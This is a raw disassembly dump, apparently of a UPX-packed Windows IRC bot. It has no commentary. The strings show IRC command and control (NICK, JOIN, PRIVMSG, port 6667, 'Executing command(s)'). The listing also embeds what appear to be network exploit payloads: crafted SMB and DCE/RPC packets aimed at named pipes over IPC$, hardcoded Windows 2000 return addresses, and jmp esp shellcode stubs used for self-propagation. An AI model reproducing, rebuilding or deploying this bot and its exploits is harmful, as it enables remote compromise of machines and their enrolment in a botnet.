sub_40A9CF:loc_40BC84o align 4 dword_419A7C dd 5136F8h ; DATA XREF: sub_40A9CF+125Fr dd 2 dup(0) dword_419A88 dd 221F8h ; DATA XREF: sub_40A9CF+122Br align 10h dword_419A90 dd 50C1B50h ; DATA XREF: sub_40A9CF+11E7r dd 2 dup(0) dword_419A9C dd 2C338h ; DATA XREF: sub_40A9CF+11A3r dd 0 dword_419AA4 dd 0B04290h ; DATA XREF: sub_40A9CF+114Cr align 10h dword_419AB0 dd 54524150h, 732520h ; DATA XREF: sub_40A9CF+1135o dword_419AB8 dd 14FE20h ; DATA XREF: sub_40A9CF+1112r dd 2 dup(0) dword_419AC4 dd 11AA88h ; DATA XREF: sub_40A9CF+10B0r align 10h dword_419AD0 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40A9CF+1098o ; sub_40A9CF+10FAo ... dword_419ADC dd 146288h ; DATA XREF: sub_40A9CF+102Cr dd 2 dup(0) aQuitSRemoved_ db 'QUIT :%s removed.',0 ; DATA XREF: sub_40A9CF+100Ao align 4 dword_419AFC dd 4729D50h ; DATA XREF: sub_40A9CF+FF6r dd 2 dup(0) dword_419B08 dd 56EB58h ; DATA XREF: sub_40A9CF+FC1r dd 2 dup(0) dword_419B14 dd 5F3750h ; DATA XREF: sub_40A9CF+F80r align 10h dword_419B20 dd 423C479Ah ; DATA XREF: sub_40A9CF+F52r align 10h dword_419B30 dd 23410B60h ; DATA XREF: sub_40A9CF+F24r dd 2 dup(0) dword_419B3C dd 9815D395h ; DATA XREF: sub_40A9CF+EFEr dd 3 dup(0) dword_419B4C dd 4698D60h ; DATA XREF: sub_40A9CF+ED0r dd 2 dup(0) dword_419B58 dd 10DA78h ; DATA XREF: sub_40A9CF+EAAr dd 2 dup(0) dword_419B64 dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h ; DATA XREF: sub_40A9CF+E77o dword_419B78 dd 77400328h ; DATA XREF: sub_40A9CF+E5Ar dd 3 dup(0) dword_419B88 dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h ; DATA XREF: sub_40A9CF+E2Fo dd 2037325h, 0 dword_419BA4 dd 512EA0h ; DATA XREF: sub_40A9CF+DC8r align 10h aItTookMeUms_ db 'It took me %ums.',0 ; DATA XREF: sub_40A9CF+DA9o align 4 dword_419BC4 dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h ; DATA XREF: sub_40A9CF+D20o dd 2037325h, 0 dword_419BE0 dd 20EA0h ; DATA XREF: sub_40A9CF+CAFr align 8 dword_419BE8 dd 65782209h ; DATA XREF: sub_40A9CF+C68r dd 3 dup(0) dword_419BF8 dd 109E96E7h ; DATA XREF: sub_40A9CF+C05r dd 4 dup(0) dword_419C0C dd 0A4053CD8h ; DATA XREF: sub_40A9CF+BDEr dd 3 dup(0) dword_419C1C dd 162208h ; DATA XREF: sub_40A9CF+B97r dd 2 dup(0) dword_419C28 dd 0C17A208h ; DATA XREF: sub_40A9CF+B82r dd 2 dup(0) dword_419C34 dd 4CF2208h ; DATA XREF: sub_40A9CF+B6Dr align 10h dword_419C40 dd 1480A660h ; DATA XREF: sub_40A9CF+B3Fr dd 2 dup(0) dword_419C4C dd 203A5049h, 2343003h, 2037325h, 0 ; DATA XREF: sub_40A9CF+B20o dword_419C5C dd 4B90h ; DATA XREF: sub_40A9CF+B0Cr dd 0 dword_419C64 dd 155864D8h ; DATA XREF: sub_40A9CF+AE5r align 10h dword_419C70 dd 22D988A0h ; DATA XREF: sub_40A9CF+AB4r dd 2 dup(0) dword_419C7C dd 22DEDA78h ; DATA XREF: sub_40A9CF+A83r dd 2 dup(0) dword_419C88 dd 0E53CCCE8h ; DATA XREF: sub_40A9CF+A5Dr dd 3 dup(0) dword_419C98 dd 0E53CD300h ; DATA XREF: sub_40A9CF+A11r dd 3 dup(0) dword_419CA8 dd 5561C7F9h ; DATA XREF: sub_40A9CF+9DCr dd 3 dup(0) dword_419CB8 dd 67270B61h ; DATA XREF: sub_40A9CF+9A1r dd 3 dup(0) dword_419CC8 dd 1520A0h ; DATA XREF: sub_40A9CF+96Cr dd 2 dup(0) dword_419CD4 dd 0AE1FF760h ; DATA XREF: sub_40A9CF+937r dd 3 dup(0) dword_419CE4 dd 2BAFD860h ; DATA XREF: sub_40A9CF+911r align 10h dword_419CF0 dd 15D698h ; DATA XREF: sub_40A9CF+8FCr dd 2 dup(0) dword_419CFC dd 0B8650h ; DATA XREF: sub_40A9CF+8C5r dd 2 dup(0) dword_419D08 dd 4A38h ; DATA XREF: sub_40A9CF+87Er align 10h aThisBuildIsBro db 'This build is broken and will not function properly.',0 ; DATA XREF: sub_40A9CF:loc_40B1D8o align 4 aThisBuildIsFul db 'This build is fully functional',0 ; DATA XREF: sub_40A9CF+7FDo align 4 dword_419D68 dd 2343003h, 4B4F5242h, 2034E45h, 0 ; DATA XREF: sub_40A9CF:loc_40B1ADo dword_419D78 dd 2333003h, 2034B4Fh, 0 ; DATA XREF: sub_40A9CF+7D2o dword_419D84 dd 8Ah, 0 ; DATA XREF: sub_40A9CF+79Eo dword_419D8C dd 0CD818BACh, 8196F4BDh, 0D6C3D39Ah, 0FDD3F9B9h, 0C8AAE7D9h ; DATA XREF: sub_40A9CF+790o dd 0E6FAEE95h, 0D8C5D3E2h, 2 dup(0) dword_419DB0 dd 2E78970h ; DATA XREF: sub_40A9CF+77Ar dd 2 dup(0) dword_419DBC dd 0B7B3F8D0h ; DATA XREF: sub_40A9CF+753r dd 3 dup(0) dword_419DCC dd 0C2C28390h ; DATA XREF: sub_40A9CF+6EDr dd 3 dup(0) dword_419DDC dd 0AE9D81BBh, 839E9C8Fh, 0A4E7A68Fh, 0FEBE81C3h, 0DCEAF0A0h ; DATA XREF: sub_40A9CF+534o dd 0F1ECE3FEh, 2 dup(0) dword_419DFC dd 81BEABBDh, 98B8B5BCh, 83D299B0h, 0E2A0A3F4h, 2 dup(0) ; DATA XREF: sub_40A9CF+448o aKnqQxjnuXxQEBZ db 'ªŸ¼Ÿ•†ž»ß•帚ɟ¶…¿¡º°§µ…–¸Ã‹ªÓ‹°¼†¼‚±º±ŸÙ˜',0 ; DATA XREF: sub_40A9CF+437o align 8 dword_419E48 dd 1FD30h ; DATA XREF: sub_40A9CF+410r align 10h dword_419E50 dd 67294FA1h ; DATA XREF: sub_40A9CF+3E9r align 10h dword_419E60 dd 67265A79h ; DATA XREF: sub_40A9CF+3BBr align 10h dword_419E70 dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h ; DATA XREF: sub_40A9CF+39Co dd 3203A64h, 25023430h, 20373h dword_419E90 dd 14705160h ; DATA XREF: sub_40A9CF+2C0r dd 2 dup(0) dword_419E9C dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h ; DATA XREF: sub_40A9CF+2A1o dd 3D203A64h, 2343003h, 2037325h, 0 dword_419EC0 dd 232320h ; DATA XREF: sub_40A9CF+1E3o dword_419EC4 dd 176C5160h ; DATA XREF: sub_40A9CF+18Dr align 10h dword_419ED0 dd 0AF99D8h ; DATA XREF: sub_40A9CF+158r dd 2 dup(0) dword_419EDC dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h ; DATA XREF: sub_40A9CF+139o dd 2037325h, 0 dword_419EF8 dd 1D17950h ; DATA XREF: sub_40A9CF+106r dd 2 dup(0) dword_419F04 dd 4B43494Eh, 732520h ; DATA XREF: sub_40A9CF+CCo ; sub_40A9CF+EFo ... dword_419F0C dd 146E00h ; DATA XREF: sub_40A9CF+90r dd 2 dup(0) dword_419F18 dd 1A80A5D1h ; DATA XREF: sub_40A9CF+69r dd 3 dup(0) aLinkLink@linkP db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: sub_40C93C+88o ; sub_40D871+85Fo align 4 asc_419F48: ; DATA XREF: sub_40C93C+30o ; sub_40C93C+B5o unicode 0, <;>,0 asc_419F4C db '<=',0 ; DATA XREF: sub_40CA29:loc_40CE59o align 10h asc_419F50 db '>=',0 ; DATA XREF: sub_40CA29:loc_40CE07o align 4 asc_419F54: ; DATA XREF: sub_40CA29:loc_40CDDBo dw 3Eh unicode 0, <>,0 asc_419F58 db '!=',0 ; DATA XREF: sub_40CA29:loc_40CDAFo align 4 asc_419F5C db '==',0 ; DATA XREF: sub_40CA29:loc_40CD83o align 10h aIpv6 db '$ipv6',0 ; DATA XREF: sub_40CA29:loc_40CC43o ; sub_40CA29:loc_40CD58o align 4 aFirewall db '$firewall',0 ; DATA XREF: sub_40CA29:loc_40CC1Fo ; sub_40CA29:loc_40CD34o align 4 aLatency db '$latency',0 ; DATA XREF: sub_40CA29:loc_40CBFBo ; sub_40CA29:loc_40CD10o align 10h aFree db '$free',0 ; DATA XREF: sub_40CA29:loc_40CBD7o ; sub_40CA29:loc_40CCECo align 4 aVersion db '$version',0 ; DATA XREF: sub_40CA29:loc_40CBB1o ; sub_40CA29:loc_40CCC6o align 4 aUptime db '$uptime',0 ; DATA XREF: sub_40CA29+158o ; sub_40CA29+26Do a32s16s32s db '%32s %16s %32s',0 ; DATA XREF: sub_40CA29+EEo align 4 asc_419FAC db '&&',0 ; DATA XREF: sub_40CA29+9Do ; sub_40CA29+45Do align 10h asc_419FB0: ; DATA XREF: sub_40CA29+28o unicode 0, <)>,0 aExecutingComma db 'Executing command(s): %s',0 ; DATA XREF: sub_40CEB0+5Co align 10h a6667 db '6667',0 ; DATA XREF: sub_40CF2F:loc_40CF60o align 4 aCSCCUCUSCCC db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_40D043+27Bo ; sub_40D871+431o align 10h aG: ; DATA XREF: sub_40D043+1DCo ; sub_40D871+392o unicode 0, <G>,0 aA: ; DATA XREF: sub_40D043+1C6o ; sub_40D871+37Co unicode 0, <A>,0 aB: ; DATA XREF: sub_40D043+1B0o ; sub_40D871+366o unicode 0, <B>,0 aUnk db 'UNK',0 ; DATA XREF: sub_40D043+160o ; sub_40D871+316o aUserSSSS db 'USER %s %s %s :%s',0 ; DATA XREF: sub_40D043+E2o align 4 aPassS db 'PASS %s',0 ; DATA XREF: sub_40D043+3Fo aNoticeS db 'NOTICE %s :',0 ; DATA XREF: sub_40D420+10o ; sub_40D53F+37o aPrivmsgS db 'PRIVMSG %s :',0 ; DATA XREF: sub_40D4AB+10o ; sub_40D53F+AFo align 4 dword_41A038 dd 1 ; DATA XREF: sub_40D53F:loc_40D680o dword_41A03C dd 7373656Dh, 20656761h, 0 ; DATA XREF: sub_40D53F:loc_40D629o dword_41A048 dd 49544F4Eh, 25204543h, 13A2073h, 0 ; DATA XREF: sub_40D53F+8Fo dword_41A058 dd 56495250h, 2047534Dh, 3A207325h, 1 ; DATA XREF: sub_40D53F+63o aMirc db 'mIRC',0 ; DATA XREF: sub_40D734+6o ; sub_40D74D:loc_40D76Eo align 10h asc_41A070: ; DATA XREF: sub_40D871+CB7o unicode 0, <*>,0 aNotice db 'NOTICE',0 ; DATA XREF: sub_40D871:loc_40E1C0o ; sub_40E618+89o align 4 asc_41A07C db '][',0 ; DATA XREF: sub_40D871+807o ; sub_40D871+88Co align 10h a332 db '332',0 ; DATA XREF: sub_40D871:loc_40DF8Eo aNick db 'NICK',0 ; DATA XREF: sub_40D871:loc_40DF3Eo align 4 a@: ; DATA XREF: sub_40D871:loc_40DEBEo unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_40D871:loc_40DE96o ; sub_40E618+33o a451 db '451',0 ; DATA XREF: sub_40D871:loc_40DE70o aUserhostS db 'USERHOST %s',0 ; DATA XREF: sub_40D871+5C4o ; sub_40D871+5EEo aModeSXi db 'MODE %s +xi',0 ; DATA XREF: sub_40D871+571o a001 db '001',0 ; DATA XREF: sub_40D871:loc_40DD97o aModeSSmntu db 'MODE %s +smntu',0 ; DATA XREF: sub_40D871+515o align 4 aJoin db 'JOIN',0 ; DATA XREF: sub_40D871:loc_40DD25o align 4 aError db 'ERROR',0 ; DATA XREF: sub_40D871:loc_40DCFDo align 4 a433 db '433',0 ; DATA XREF: sub_40D871:loc_40DB2Do dword_41A0D8 dd 4950013Ah, 1474Eh ; DATA XREF: sub_40D871+290o dword_41A0E0 dd 4950013Ah, 474Eh ; DATA XREF: sub_40D871:loc_40DAEBo dword_41A0E8 dd 52455601h, 4E4F4953h, 1732520h, 0 ; DATA XREF: sub_40D871+265o aEggdropV1_6_16 db 'eggdrop v1.6.16',0 ; DATA XREF: sub_40D871:loc_40DAD1o dword_41A108 dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h ; DATA XREF: sub_40D871+24Eo dd 73256433h, 69572820h, 2932336Eh, 1 dword_41A12C dd 4556013Ah, 4F495352h, 14Eh ; DATA XREF: sub_40D871+226o dword_41A138 dd 4556013Ah, 4F495352h, 4Eh ; DATA XREF: sub_40D871:loc_40DA81o aSend db 'SEND',0 ; DATA XREF: sub_40D871+CDo align 4 dword_41A14C dd 4344013Ah, 43h ; DATA XREF: sub_40D871+A6o aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40D871:loc_40D8DDo ; sub_40D871+901o ... aMode db 'MODE',0 ; DATA XREF: sub_40D871:loc_40D8C2o align 4 aPong db 'PONG',0 ; DATA XREF: sub_40D871:loc_40D8A7o align 4 aPongS db 'PONG %s',0 ; DATA XREF: sub_40D871+25o aPing db 'PING',0 ; DATA XREF: sub_40D871+Ao align 4 aLinkLink@link db 'link!link@link',0 ; DATA XREF: sub_40E618:loc_40E7A5o align 4 byte_41A18C db 41h ; DATA XREF: sub_40E979+3Cr ; sub_40EB4E+24r ... aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h dword_41A1D0 dd 3430032Dh, 3732502h, 30032E02h, 73250234h, 202D0203h ; DATA XREF: sub_4129CA+5Co dd 202E7525h, 20776152h, 6E617274h, 72656673h, 206F7420h dd 63207325h, 6C706D6Fh, 2E657465h, 0 dd 1130h, 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0F5h, 28h, 5Ch dd 400DC28Fh, 5 dup(0) dd 1, 0 dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h dd 77777772h, 77F9D463h, 750362C3h, 75035173h, 3 dup(717564B8h) dd 71AB7BFBh, 773AD507h, 7C941EEDh, 77DB565Ch, 77FD1F89h dd 2 dup(77E216B8h), 1130h, 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0F5h, 28h, 5Ch dd 400DC28Fh, 5 dup(0) dd 1, 0 dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch, 5E21B8EFh dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0 dd 2 dup(4A9D5E21h), 0 dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h dd 77777772h, 77F32836h, 750362C3h, 75035173h, 3 dup(7C2FA0F7h) dd 2 dup(71AB7BFBh), 7C941EEDh, 77E216B8h, 77FD1F89h, 2 dup(77E216B8h) dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 aFxnbfxfxnbfxfx: unicode 0, <FXNBFXFXNBFXFXFXFX>,0 align 4 db 0CCh db 0E0h, 0FDh, 7Fh db 0CCh db 0E0h, 0FDh, 7Fh align 8 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dd 20h, 0 dd 20h, 5C005Ch, 0 dd offset sub_43005C a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 align 10h dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) dd 2180310h, 10016C6h, 100139Dh, 1001C55h, 1001C98h dword_41A7A8 dd 5F5C0A0Dh, 2E2Fh ; DATA XREF: sub_410649+59o ; sub_410B52+Fo dword_41A7B0 dd 30B0005h, 10h, 48h, 0 ; DATA XREF: sub_410649+Fo dd 16D016D0h, 0 dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_41A7FC dd 3000005h, 10h, 5 dup(0) ; DATA XREF: sub_410649+181o dword_41A818 dd 10005h, 2 dup(0) ; DATA XREF: sub_410649+1ADo dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch, 5 dup(0) dd 90000h, 300h, 0 dd 300h, 5C005Ch, 0 dword_41A860 dd 0 ; DATA XREF: sub_410649+475o dd 2, 0 dd 1, 91C68h, 1, 2 dup(0) dd 0C0h, 46000000h, 2 dup(1), 7 ; --------------------------------------------------------------------------- loc_41A894: ; DATA XREF: sub_410649+153o mov eax, [esp-4] add eax, 0FFFFFAE0h jmp eax ; --------------------------------------------------------------------------- align 10h loc_41A8A0: ; DATA XREF: sub_410649+E5o mov eax, [ebp+30h] add eax, 0FFFFFB24h jmp eax ; --------------------------------------------------------------------------- align 4 loc_41A8AC: ; DATA XREF: sub_410649+202o jmp short loc_41A8BE ; --------------------------------------------------------------------------- jmp short loc_41A8C9 ; --------------------------------------------------------------------------- dd 0 ; --------------------------------------------------------------------------- loc_41A8B4: ; DATA XREF: sub_410649+2DBo jmp short near ptr word_41A8BA ; --------------------------------------------------------------------------- dw 0FFFFh db 2 dup(0FFh) word_41A8BA dw 0 ; CODE XREF: UPX1:loc_41A8B4j ; --------------------------------------------------------------------------- loc_41A8BC: ; DATA XREF: sub_410649+330o jmp short near ptr word_41A8C2 ; --------------------------------------------------------------------------- loc_41A8BE: ; CODE XREF: UPX1:loc_41A8ACj ; UPX1:loc_41A8DCj jmp short loc_41A8C4 ; --------------------------------------------------------------------------- db 2 dup(0) word_41A8C2 dw 0 ; CODE XREF: UPX1:loc_41A8BCj ; --------------------------------------------------------------------------- loc_41A8C4: ; CODE XREF: UPX1:loc_41A8BEj ; DATA XREF: sub_410649+385o jmp short near ptr loc_41A8C9+1 ; --------------------------------------------------------------------------- dw 0FFFFh db 0FFh ; --------------------------------------------------------------------------- loc_41A8C9: ; CODE XREF: UPX1:0041A8AEj ; UPX1:loc_41A8C4j inc dword ptr [eax] ; --------------------------------------------------------------------------- db 0 off_41A8CC dd offset loc_41005C ; DATA XREF: sub_410649+449o dd 2 dup(0) dword_41A8D8 dd 77F33723h ; DATA XREF: sub_410649+25Ao ; --------------------------------------------------------------------------- loc_41A8DC: ; DATA XREF: sub_410649+286o jmp short loc_41A8BE ; --------------------------------------------------------------------------- dw 7FFDh ; --------------------------------------------------------------------------- loc_41A8E0: ; DATA XREF: sub_410649+22Eo lahf jnz short loc_41A8FB loc_41A8E3: ; DATA XREF: sub_410649+13Do add [ecx+1Ch], bl loc_41A8E6: ; CODE XREF: UPX1:loc_41A8F0j add [ecx], al loc_41A8E8: ; DATA XREF: sub_410649+111o or ecx, [ebx] sbb eax, [eax] loc_41A8EC: ; DATA XREF: sub_410649+127o jmp short near ptr dword_41A8F4 ; --------------------------------------------------------------------------- align 10h loc_41A8F0: ; DATA XREF: sub_410649+FBo jmp short loc_41A8E6 ; --------------------------------------------------------------------------- align 4 dword_41A8F4 dd 85000000h ; CODE XREF: UPX1:loc_41A8ECj ; --------------------------------------------------------------------------- call dword ptr [ebx+4Dh] loc_41A8FB: ; CODE XREF: UPX1:0041A8E1j inc edx jb short $+2 ; --------------------------------------------------------------------------- dw 0 dd 0C8531800h, 3 dup(0) dd 0FEFF0000h, 0 dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h dd 0 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 4 dd 0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h, 240043h, 3F3F0000h, 3F3F3Fh, 0 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 dd offset loc_401495 dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0) dd offset loc_40A89A dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 2 dup(0) ; --------------------------------------------------------------------------- sub sp, 71Ch jmp esp ; --------------------------------------------------------------------------- align 4 dd 1004600h, 7515123Ch, 751C123Ch, 42B68ABAh, 42D01E50h dd 34000112h, 0 dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh dd 10h, 0 dd 34EEA51Bh, 0 dd 12400h, 0 dword_41AF50 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_410B52+62o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_41AFDC dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_410B52+A2o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_0: unicode 0, <Windows 2000 2195>,0 aWindows20005_1: unicode 0, <Windows 2000 5.0>,0 align 8 dword_41B088 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_410B52+E2o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_41B168 dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+13Co dd 0AB80000h, 46300800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch dd 244350h, 3F3F3F3Fh, 3Fh dword_41B1A8 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+179o dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h, 0 dword_41B20C dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_410B52+1B9o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_41B2B0 dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+216o dd 3900800h, 3C1D0800h, 1C000010h, 0E0040003h, 0FFh, 2 dup(0) dd 1C004A00h, 2004A03h, 2600h, 5C032340h, 45504950h, 5005Ch dd 100300h, 31C0000h, 0 dd 3040000h, 0 dd 4221001Fh, 184E8h, 0 dd 10000h, 0 dd 1630000h, 0 dd 1630000h, 